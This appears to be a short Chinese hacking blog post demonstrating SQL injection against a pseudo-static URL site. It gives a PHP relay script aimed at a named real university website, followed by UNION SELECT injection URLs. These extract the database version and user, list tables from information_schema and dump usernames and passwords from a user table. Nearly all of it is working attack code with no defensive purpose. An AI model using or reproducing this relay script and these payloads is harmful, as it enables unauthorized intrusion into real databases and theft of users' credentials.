实战伪静态中转注入

不怎么喜欢写文章

直接弄个视频 视频AD一切、请大家无视

看过程就ok了

在线观看：http://www.moonhack.com/vdieo/54/54.html (2013-4-25 17:45:09 补充：地址已失效)

网盘下载：http://u.115.com/file/bhfttlmk

在线的支持一下，中转代码：

<?php
//根据t00ls某牛修改一下
//先开启php.ini 中的extension=php_curl.dll
set_time_limit(1);
$curl = curl_init();   //初始化curl
$id = $_GET['id'];
//替换id空格和=
$id = str_replace(" ","%20",$id);
$id = str_replace("=","%3D",$id);
$url = "http://sfl.fzu.edu.cn/index.php/Index/view/id/

$id.html";
// 设置你需要抓取的URL
curl_setopt($curl, CURLOPT_URL, $url);

// 设置header
curl_setopt($curl, CURLOPT_HEADER, 0);

// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 0);

// 运行cURL，请求网页
$data = curl_exec($curl);

// 关闭URL请求
curl_close($curl);
?>

附上语句。背景桌面是亮点。

http://xxxx/index.php/Index/view/id/-101 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21.html

http://xxx/index.php/Index/view/id/-101 union select 1,2,concat_ws(0x3a3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,0x696561737969,21.html

http://xxx/index.php/Index/view/id/-101 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,0x696561737969,21 from information_schema.tables where table_schema=0x707265656D.html

http://xxx/index.php/Index/view/id/-101 union select 1,2,concat_ws(realname,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,0x696561737969,21 from pe_user.html

留言评论（旧系统）：